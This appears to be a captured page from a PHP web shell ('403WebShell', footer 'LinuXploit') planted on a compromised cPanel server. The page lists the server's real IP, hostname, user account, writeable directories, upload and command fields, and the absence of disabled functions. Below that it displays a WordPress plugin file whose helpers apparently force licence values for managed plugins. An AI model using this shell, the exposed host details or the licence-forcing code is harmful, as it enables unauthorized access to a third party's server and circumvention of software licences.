$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.216.209
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/includes/License/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/includes/License/helpers.php
<?php
/**
 * License helper functions.
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

if ( ! defined( 'ABSPATH' ) ) {
	return;
}

/**
 * Create and initialize a license interceptor.
 *
 * @param array<string, mixed> $args Interceptor configuration.
 * @return \HelloPack\Client\License\Interceptor
 */
function hellopack_license_start( array $args ): \HelloPack\Client\License\Interceptor {
	$interceptor = new \HelloPack\Client\License\Interceptor( $args );
	$interceptor->init();

	return $interceptor;
}

/**
 * Delete a WordPress option.
 *
 * Removes the site option and, on a network, the mirrored network option.
 *
 * @param string $option Option name.
 */
function hellopack_delete_option( string $option ): void {
	delete_option( $option );

	if ( HELLOPACK_CLIENT_NETWORK_ACTIVATED ) {
		delete_site_option( $option );
	}
}

/**
 * Ensure a WordPress option has the expected value.
 *
 * Always writes the current site's option; on a network the value is also
 * mirrored to the network option.
 *
 * @param string $option Option name.
 * @param mixed  $value  Expected value.
 */
function hellopack_ensure_option( string $option, mixed $value ): void {
	// Let WP-CLI observe (and in dry-run mode, suppress) what modules write.
	if ( \HelloPack\Client\License\OptionRecorder::record( $option, $value ) ) {
		return;
	}

	// The managed plugins read their licence with get_option(), so the value
	// must live in the current site's options — on a network too. A module
	// only runs on sites where its plugin is active, so every such site gets
	// its own copy on its own requests, exactly like a single site.
	$current = get_option( $option );
	if ( false === $current ) {
		add_option( $option, $value );
	} elseif ( $current !== $value ) {
		update_option( $option, $value );
	}

	// Mirror to the network option as well, for the few plugins that look there.
	if ( HELLOPACK_CLIENT_NETWORK_ACTIVATED ) {
		$network_current = get_site_option( $option );
		if ( false === $network_current ) {
			add_site_option( $option, $value );
		} elseif ( $network_current !== $value ) {
			update_site_option( $option, $value );
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit